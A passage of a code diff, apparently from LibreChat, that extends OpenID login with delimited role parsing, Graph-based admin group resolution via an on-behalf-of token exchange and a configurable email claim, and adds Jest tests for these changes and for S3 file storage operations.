+ adminRoleObject._claim_sources?.[adminRoleObject._claim_names.groups]);
+
+ if (hasAdminOverage) {
+ const overageGroups =
+ resolvedOverageGroups ||
+ (await resolveGroupsFromOverage(tokenset.access_token, claims.sub));
+ if (overageGroups) {
+ adminRoles = overageGroups;
+ }
+ }
+ }
+
+ let adminRoleValues = [];
+ if (Array.isArray(adminRoles)) {
+ adminRoleValues = adminRoles;
+ } else if (typeof adminRoles === 'string') {
+ adminRoleValues = adminRoles.split(/[\s,]+/).filter(Boolean);
+ }
+
+ if (adminRoles && (adminRoles === true || adminRoleValues.includes(adminRole))) {
user.role = SystemRoles.ADMIN;
logger.info(`[openidStrategy] User ${username} is an admin based on role: ${adminRole}`);
} else if (user.role === SystemRoles.ADMIN) {
@@ -727,4 +839,5 @@ function getOpenIdConfig() {
module.exports = {
setupOpenId,
getOpenIdConfig,
+ getOpenIdEmail,
};
diff --git a/api/strategies/openidStrategy.spec.js b/api/strategies/openidStrategy.spec.js
index b1dc54d77b..16fa548a59 100644
--- a/api/strategies/openidStrategy.spec.js
+++ b/api/strategies/openidStrategy.spec.js
@@ -1,6 +1,6 @@
+const undici = require('undici');
const fetch = require('node-fetch');
const jwtDecode = require('jsonwebtoken/decode');
-const undici = require('undici');
const { ErrorTypes } = require('librechat-data-provider');
const { findUser, createUser, updateUser } = require('~/models');
const { setupOpenId } = require('./openidStrategy');
@@ -64,6 +64,10 @@ jest.mock('openid-client', () => {
// Only return additional properties, but don't override any claims
return Promise.resolve({});
}),
+ genericGrantRequest: jest.fn().mockResolvedValue({
+ access_token: 'exchanged_graph_token',
+ expires_in: 3600,
+ }),
customFetch: Symbol('customFetch'),
};
});
@@ -152,6 +156,7 @@ describe('setupOpenId', () => {
process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
delete process.env.OPENID_USERNAME_CLAIM;
delete process.env.OPENID_NAME_CLAIM;
+ delete process.env.OPENID_EMAIL_CLAIM;
delete process.env.PROXY;
delete process.env.OPENID_USE_PKCE;
@@ -384,6 +389,62 @@ describe('setupOpenId', () => {
expect(details.message).toBe('You must have "read" role to log in.');
});
+ it('should allow login when roles claim is a space-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles as a space-delimited string
+ jwtDecode.mockReturnValue({
+ roles: 'role1 role2 requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should allow login when roles claim is a comma-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles as a comma-delimited string
+ jwtDecode.mockReturnValue({
+ roles: 'role1,role2,requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should allow login when roles claim is a mixed comma-and-space-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles with comma-and-space delimiters
+ jwtDecode.mockReturnValue({
+ roles: 'role1, role2, requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should reject login when roles claim is a space-separated string that does not contain the required role', async () => {
+ // Arrange – IdP returns a delimited string but required role is absent
+ jwtDecode.mockReturnValue({
+ roles: 'role1 role2 otherRole',
+ });
+
+ // Act
+ const { user, details } = await validate(tokenset);
+
+ // Assert – login is rejected with the correct error message
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "requiredRole" role to log in.');
+ });
+
it('should allow login when single required role is present (backward compatibility)', async () => {
// Arrange – ensure single role configuration (as set in beforeEach)
// OPENID_REQUIRED_ROLE = 'requiredRole'
@@ -673,7 +734,7 @@ describe('setupOpenId', () => {
expect.objectContaining({
method: 'POST',
headers: expect.objectContaining({
- Authorization: `Bearer ${tokenset.access_token}`,
+ Authorization: 'Bearer exchanged_graph_token',
}),
}),
);
@@ -688,6 +749,313 @@ describe('setupOpenId', () => {
);
});
+ describe('OBO token exchange for overage', () => {
+ it('exchanges access token via OBO before calling Graph API', async () => {
+ const openidClient = require('openid-client');
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required'] }),
+ });
+
+ await validate(tokenset);
+
+ expect(openidClient.genericGrantRequest).toHaveBeenCalledWith(
+ expect.anything(),
+ 'urn:ietf:params:oauth:grant-type:jwt-bearer',
+ expect.objectContaining({
+ scope: 'https://graph.microsoft.com/User.Read',
+ assertion: tokenset.access_token,
+ requested_token_use: 'on_behalf_of',
+ }),
+ );
+
+ expect(undici.fetch).toHaveBeenCalledWith(
+ 'https://graph.microsoft.com/v1.0/me/getMemberObjects',
+ expect.objectContaining({
+ headers: expect.objectContaining({
+ Authorization: 'Bearer exchanged_graph_token',
+ }),
+ }),
+ );
+ });
+
+ it('caches the exchanged token and reuses it on subsequent calls', async () => {
+ const openidClient = require('openid-client');
+ const getLogStores = require('~/cache/getLogStores');
+ const mockSet = jest.fn();
+ const mockGet = jest
+ .fn()
+ .mockResolvedValueOnce(undefined)
+ .mockResolvedValueOnce({ access_token: 'exchanged_graph_token' });
+ getLogStores.mockReturnValue({ get: mockGet, set: mockSet });
+
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required'] }),
+ });
+
+ // First call: cache miss → OBO exchange → cache set
+ await validate(tokenset);
+ expect(mockSet).toHaveBeenCalledWith(
+ '1234:overage',
+ { access_token: 'exchanged_graph_token' },
+ 3600000,
+ );
+ expect(openidClient.genericGrantRequest).toHaveBeenCalledTimes(1);
+
+ // Second call: cache hit → no new OBO exchange
+ openidClient.genericGrantRequest.mockClear();
+ await validate(tokenset);
+ expect(openidClient.genericGrantRequest).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('admin role group overage', () => {
+ it('resolves admin groups via Graph when overage is detected for admin role', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required', 'admin-group-id'] }),
+ });
+
+ const { user } = await validate(tokenset);
+
+ expect(user.role).toBe('ADMIN');
+ });
+
+ it('does not grant admin when overage groups do not contain admin role', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required', 'other-group'] }),
+ });
+
+ const { user } = await validate(tokenset);
+
+ expect(user).toBeTruthy();
+ expect(user.role).toBeUndefined();
+ });
+
+ it('reuses already-resolved overage groups for admin role check (no duplicate Graph call)', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required', 'admin-group-id'] }),
+ });
+
+ await validate(tokenset);
+
+ // Graph API should be called only once (for required role), admin role reuses the result
+ expect(undici.fetch).toHaveBeenCalledTimes(1);
+ });
+
+ it('demotes existing admin when overage groups no longer contain admin role', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ const existingAdminUser = {
+ _id: 'existingAdminId',
+ provider: 'openid',
+ email: tokenset.claims().email,
+ openidId: tokenset.claims().sub,
+ username: 'adminuser',
+ name: 'Admin User',
+ role: 'ADMIN',
+ };
+
+ findUser.mockImplementation(async (query) => {
+ if (query.openidId === tokenset.claims().sub || query.email === tokenset.claims().email) {
+ return existingAdminUser;
+ }
+ return null;
+ });
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['group-required'] }),
+ });
+
+ const { user } = await validate(tokenset);
+
+ expect(user.role).toBe('USER');
+ });
+
+ it('does not attempt overage for admin role when token kind is not id', async () => {
+ process.env.OPENID_REQUIRED_ROLE = 'requiredRole';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'roles';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+ process.env.OPENID_ADMIN_ROLE = 'admin';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'access';
+
+ jwtDecode.mockReturnValue({
+ roles: ['requiredRole'],
+ hasgroups: true,
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const { user } = await validate(tokenset);
+
+ // No Graph call since admin uses access token (not id)
+ expect(undici.fetch).not.toHaveBeenCalled();
+ expect(user.role).toBeUndefined();
+ });
+
+ it('resolves admin via Graph independently when OPENID_REQUIRED_ROLE is not configured', async () => {
+ delete process.env.OPENID_REQUIRED_ROLE;
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['admin-group-id'] }),
+ });
+
+ const { user } = await validate(tokenset);
+ expect(user.role).toBe('ADMIN');
+ expect(undici.fetch).toHaveBeenCalledTimes(1);
+ });
+
+ it('denies admin when OPENID_REQUIRED_ROLE is absent and Graph does not contain admin group', async () => {
+ delete process.env.OPENID_REQUIRED_ROLE;
+ process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ undici.fetch.mockResolvedValue({
+ ok: true,
+ status: 200,
+ statusText: 'OK',
+ json: async () => ({ value: ['other-group'] }),
+ });
+
+ const { user } = await validate(tokenset);
+ expect(user).toBeTruthy();
+ expect(user.role).toBeUndefined();
+ });
+
+ it('denies login and logs error when OBO exchange throws', async () => {
+ const openidClient = require('openid-client');
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+ openidClient.genericGrantRequest.mockRejectedValueOnce(new Error('OBO exchange rejected'));
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const { user, details } = await validate(tokenset);
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "group-required" role to log in.');
+ expect(undici.fetch).not.toHaveBeenCalled();
+ });
+
+ it('denies login when OBO exchange returns no access_token', async () => {
+ const openidClient = require('openid-client');
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({ hasgroups: true });
+ openidClient.genericGrantRequest.mockResolvedValueOnce({ expires_in: 3600 });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const { user, details } = await validate(tokenset);
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "group-required" role to log in.');
+ expect(undici.fetch).not.toHaveBeenCalled();
+ });
+ });
+
it('should attempt to download and save the avatar if picture is provided', async () => {
// Act
const { user } = await validate(tokenset);
@@ -1182,6 +1550,46 @@ describe('setupOpenId', () => {
expect(user.role).toBeUndefined();
});
+ it('should grant admin when admin role claim is a space-separated string containing the admin role', async () => {
+ // Arrange – IdP returns admin roles as a space-delimited string
+ process.env.OPENID_ADMIN_ROLE = 'site-admin';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+ jwtDecode.mockReturnValue({
+ roles: ['requiredRole'],
+ app_roles: 'user site-admin moderator',
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – admin role is granted after splitting the delimited string
+ expect(user.role).toBe('ADMIN');
+ });
+
+ it('should not grant admin when admin role claim is a space-separated string that does not contain the admin role', async () => {
+ // Arrange – delimited string present but admin role is absent
+ process.env.OPENID_ADMIN_ROLE = 'site-admin';
+ process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles';
+
+ jwtDecode.mockReturnValue({
+ roles: ['requiredRole'],
+ app_roles: 'user moderator',
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – admin role is not granted
+ expect(user.role).toBeUndefined();
+ });
+
it('should handle nested path with special characters in keys', async () => {
process.env.OPENID_REQUIRED_ROLE = 'app-user';
process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'resource_access.my-app-123.roles';
@@ -1306,4 +1714,82 @@ describe('setupOpenId', () => {
expect(user).toBe(false);
});
});
+
+ describe('OPENID_EMAIL_CLAIM', () => {
+ it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+ const { user } = await validate(tokenset);
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should use the configured claim when OPENID_EMAIL_CLAIM is set', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'upn';
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ expect(createUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: 'user@corp.example.com' }),
+ expect.anything(),
+ true,
+ true,
+ );
+ });
+
+ it('should fall back to preferred_username when email is missing and OPENID_EMAIL_CLAIM is not set', async () => {
+ const userinfo = { ...tokenset.claims() };
+ delete userinfo.email;
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('testusername');
+ });
+
+ it('should fall back to upn when email and preferred_username are missing and OPENID_EMAIL_CLAIM is not set', async () => {
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+ delete userinfo.email;
+ delete userinfo.preferred_username;
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ });
+
+ it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = '';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should trim whitespace from OPENID_EMAIL_CLAIM and resolve correctly', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' upn ';
+ const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' };
+
+ const { user } = await validate({ ...tokenset, claims: () => userinfo });
+
+ expect(user.email).toBe('user@corp.example.com');
+ });
+
+ it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' ';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ });
+
+ it('should fall back to default chain with warning when configured claim is missing from userinfo', async () => {
+ const { logger } = require('@librechat/data-schemas');
+ process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+
+ const { user } = await validate(tokenset);
+
+ expect(user.email).toBe('test@example.com');
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('OPENID_EMAIL_CLAIM="nonexistent_claim" not present in userinfo'),
+ );
+ });
+ });
});
diff --git a/api/strategies/samlStrategy.spec.js b/api/strategies/samlStrategy.spec.js
index 06c969ce46..1d16719b87 100644
--- a/api/strategies/samlStrategy.spec.js
+++ b/api/strategies/samlStrategy.spec.js
@@ -1,5 +1,4 @@
// --- Mocks ---
-jest.mock('tiktoken');
jest.mock('fs');
jest.mock('path');
jest.mock('node-fetch');
diff --git a/api/test/services/Files/S3/crud.test.js b/api/test/services/Files/S3/crud.test.js
new file mode 100644
index 0000000000..c7b46fba4c
--- /dev/null
+++ b/api/test/services/Files/S3/crud.test.js
@@ -0,0 +1,876 @@
+const fs = require('fs');
+const fetch = require('node-fetch');
+const { Readable } = require('stream');
+const { FileSources } = require('librechat-data-provider');
+const {
+ PutObjectCommand,
+ GetObjectCommand,
+ HeadObjectCommand,
+ DeleteObjectCommand,
+} = require('@aws-sdk/client-s3');
+const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
+
+// Mock dependencies
+jest.mock('fs');
+jest.mock('node-fetch');
+jest.mock('@aws-sdk/s3-request-presigner');
+jest.mock('@aws-sdk/client-s3');
+
+jest.mock('@librechat/api', () => ({
+ initializeS3: jest.fn(),
+ deleteRagFile: jest.fn().mockResolvedValue(undefined),
+ isEnabled: jest.fn((val) => val === 'true'),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+const { initializeS3, deleteRagFile } = require('@librechat/api');
+const { logger } = require('@librechat/data-schemas');
+
+// Set env vars before requiring crud so module-level constants pick them up
+process.env.AWS_BUCKET_NAME = 'test-bucket';
+process.env.S3_URL_EXPIRY_SECONDS = '120';
+
+const {
+ saveBufferToS3,
+ saveURLToS3,
+ getS3URL,
+ deleteFileFromS3,
+ uploadFileToS3,
+ getS3FileStream,
+ refreshS3FileUrls,
+ refreshS3Url,
+ needsRefresh,
+ getNewS3URL,
+ extractKeyFromS3Url,
+} = require('~/server/services/Files/S3/crud');
+
+describe('S3 CRUD Operations', () => {
+ let mockS3Client;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ // Setup mock S3 client
+ mockS3Client = {
+ send: jest.fn(),
+ };
+ initializeS3.mockReturnValue(mockS3Client);
+ });
+
+ afterEach(() => {
+ delete process.env.S3_URL_EXPIRY_SECONDS;
+ delete process.env.S3_REFRESH_EXPIRY_MS;
+ delete process.env.AWS_BUCKET_NAME;
+ });
+
+ describe('saveBufferToS3', () => {
+ it('should upload a buffer to S3 and return a signed URL', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ basePath: 'images',
+ });
+
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+ expect(result).toBe(mockSignedUrl);
+ });
+
+ it('should use default basePath if not provided', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc';
+
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should handle S3 upload errors', async () => {
+ const mockBuffer = Buffer.from('test data');
+ const error = new Error('S3 upload failed');
+
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(
+ saveBufferToS3({
+ userId: 'user123',
+ buffer: mockBuffer,
+ fileName: 'test.jpg',
+ }),
+ ).rejects.toThrow('S3 upload failed');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[saveBufferToS3] Error uploading buffer to S3:',
+ 'S3 upload failed',
+ );
+ });
+ });
+
+ describe('getS3URL', () => {
+ it('should return a signed URL for a file', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ basePath: 'documents',
+ });
+
+ expect(result).toBe(mockSignedUrl);
+ expect(getSignedUrl).toHaveBeenCalledWith(
+ mockS3Client,
+ expect.any(GetObjectCommand),
+ expect.objectContaining({ expiresIn: 120 }),
+ );
+ });
+
+ it('should add custom filename to Content-Disposition header', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ customFilename: 'custom-name.pdf',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should add custom content type', async () => {
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz';
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ await getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ contentType: 'application/pdf',
+ });
+
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should handle errors when getting signed URL', async () => {
+ const error = new Error('Failed to sign URL');
+ getSignedUrl.mockRejectedValue(error);
+
+ await expect(
+ getS3URL({
+ userId: 'user123',
+ fileName: 'file.pdf',
+ }),
+ ).rejects.toThrow('Failed to sign URL');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[getS3URL] Error getting signed URL from S3:',
+ 'Failed to sign URL',
+ );
+ });
+ });
+
+ describe('saveURLToS3', () => {
+ it('should fetch a file from URL and save to S3', async () => {
+ const mockBuffer = Buffer.from('downloaded data');
+ const mockResponse = {
+ buffer: jest.fn().mockResolvedValue(mockBuffer),
+ };
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/downloaded.jpg?signature=abc';
+
+ fetch.mockResolvedValue(mockResponse);
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await saveURLToS3({
+ userId: 'user123',
+ URL: 'https://example.com/image.jpg',
+ fileName: 'downloaded.jpg',
+ });
+
+ expect(fetch).toHaveBeenCalledWith('https://example.com/image.jpg');
+ expect(mockS3Client.send).toHaveBeenCalled();
+ expect(result).toBe(mockSignedUrl);
+ });
+
+ it('should handle fetch errors', async () => {
+ const error = new Error('Network error');
+ fetch.mockRejectedValue(error);
+
+ await expect(
+ saveURLToS3({
+ userId: 'user123',
+ URL: 'https://example.com/image.jpg',
+ fileName: 'downloaded.jpg',
+ }),
+ ).rejects.toThrow('Network error');
+
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('deleteFileFromS3', () => {
+ const mockReq = {
+ user: { id: 'user123' },
+ };
+
+ it('should delete a file from S3', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+ file_id: 'file123',
+ };
+
+ // Mock HeadObject to verify file exists
+ mockS3Client.send
+ .mockResolvedValueOnce({}) // First HeadObject - exists
+ .mockResolvedValueOnce({}) // DeleteObject
+ .mockRejectedValueOnce({ name: 'NotFound' }); // Second HeadObject - deleted
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(deleteRagFile).toHaveBeenCalledWith({ userId: 'user123', file: mockFile });
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(HeadObjectCommand));
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(DeleteObjectCommand));
+ });
+
+ it('should handle file not found gracefully', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/nonexistent.jpg',
+ file_id: 'file123',
+ };
+
+ mockS3Client.send.mockRejectedValue({ name: 'NotFound' });
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(logger.warn).toHaveBeenCalled();
+ });
+
+ it('should throw error if user ID does not match', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/different-user/file.jpg',
+ file_id: 'file123',
+ };
+
+ await expect(deleteFileFromS3(mockReq, mockFile)).rejects.toThrow('User ID mismatch');
+ expect(logger.error).toHaveBeenCalled();
+ });
+
+ it('should handle NoSuchKey error', async () => {
+ const mockFile = {
+ filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg',
+ file_id: 'file123',
+ };
+
+ mockS3Client.send
+ .mockResolvedValueOnce({}) // HeadObject - exists
+ .mockRejectedValueOnce({ code: 'NoSuchKey' }); // DeleteObject fails
+
+ await deleteFileFromS3(mockReq, mockFile);
+
+ expect(logger.debug).toHaveBeenCalled();
+ });
+ });
+
+ describe('uploadFileToS3', () => {
+ const mockReq = {
+ user: { id: 'user123' },
+ };
+
+ it('should upload a file from disk to S3', async () => {
+ const mockFile = {
+ path: '/tmp/upload.jpg',
+ originalname: 'photo.jpg',
+ };
+ const mockStats = { size: 1024 };
+ const mockSignedUrl =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file123__photo.jpg?signature=xyz';
+
+ fs.promises = { stat: jest.fn().mockResolvedValue(mockStats) };
+ fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+ mockS3Client.send.mockResolvedValue({});
+ getSignedUrl.mockResolvedValue(mockSignedUrl);
+
+ const result = await uploadFileToS3({
+ req: mockReq,
+ file: mockFile,
+ file_id: 'file123',
+ basePath: 'images',
+ });
+
+ expect(result).toEqual({
+ filepath: mockSignedUrl,
+ bytes: 1024,
+ });
+ expect(fs.createReadStream).toHaveBeenCalledWith('/tmp/upload.jpg');
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand));
+ });
+
+ it('should handle upload errors and clean up temp file', async () => {
+ const mockFile = {
+ path: '/tmp/upload.jpg',
+ originalname: 'photo.jpg',
+ };
+ const error = new Error('Upload failed');
+
+ fs.promises = {
+ stat: jest.fn().mockResolvedValue({ size: 1024 }),
+ unlink: jest.fn().mockResolvedValue(),
+ };
+ fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(
+ uploadFileToS3({
+ req: mockReq,
+ file: mockFile,
+ file_id: 'file123',
+ }),
+ ).rejects.toThrow('Upload failed');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[uploadFileToS3] Error streaming file to S3:',
+ error,
+ );
+ });
+ });
+
+ describe('getS3FileStream', () => {
+ it('should return a readable stream for a file', async () => {
+ const mockStream = new Readable();
